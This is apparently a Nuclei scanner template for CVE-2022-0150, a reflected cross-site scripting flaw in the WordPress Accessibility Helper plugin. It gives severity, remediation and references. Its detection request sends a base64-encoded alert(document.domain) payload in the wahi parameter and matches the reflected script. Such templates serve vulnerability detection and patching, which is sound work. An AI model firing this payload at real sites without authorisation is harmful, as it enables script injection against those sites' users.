id: CVE-2022-0150 info: name: WordPress Accessibility Helper <0.6.0.7 - Cross-Site Scripting author: dhiyaneshDK severity: medium description: | WordPress Accessibility Helper plugin before 0.6.0.7 contains a cross-site scripting vulnerability. It does not sanitize and escape the wahi parameter before outputting back its base64 decode value in the page. remediation: | Update to WordPress Accessibility Helper version 0.6.0.7 or later to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5 - https://plugins.trac.wordpress.org/changeset/2661008 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0150 cwe-id: CWE-79 epss-score: 0.001 epss-percentile: 0.40951 cpe: cpe:2.3:a:wp_accessibility_helper_project:wp_accessibility_helper:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: wp_accessibility_helper_project product: wp_accessibility_helper framework: wordpress tags: wordpress,wp-plugin,wp,wpscan,cve,cve2022,xss http: - method: GET path: - '{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v' matchers-condition: and matchers: - type: word part: body words: - "var wah_target_src = '';alert(document.domain);//';" - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a004630440220623ce2e4c6629c8a0c9ba6d6c8b56cf024a4dde167e8a60032c06436f89495f8022042c7b104e5f7a6c01951cb9e32cf3e1b7c155f86c8dbf5545732b3fb7c1cdae0:922c64590222798bb761d5b6d8e72950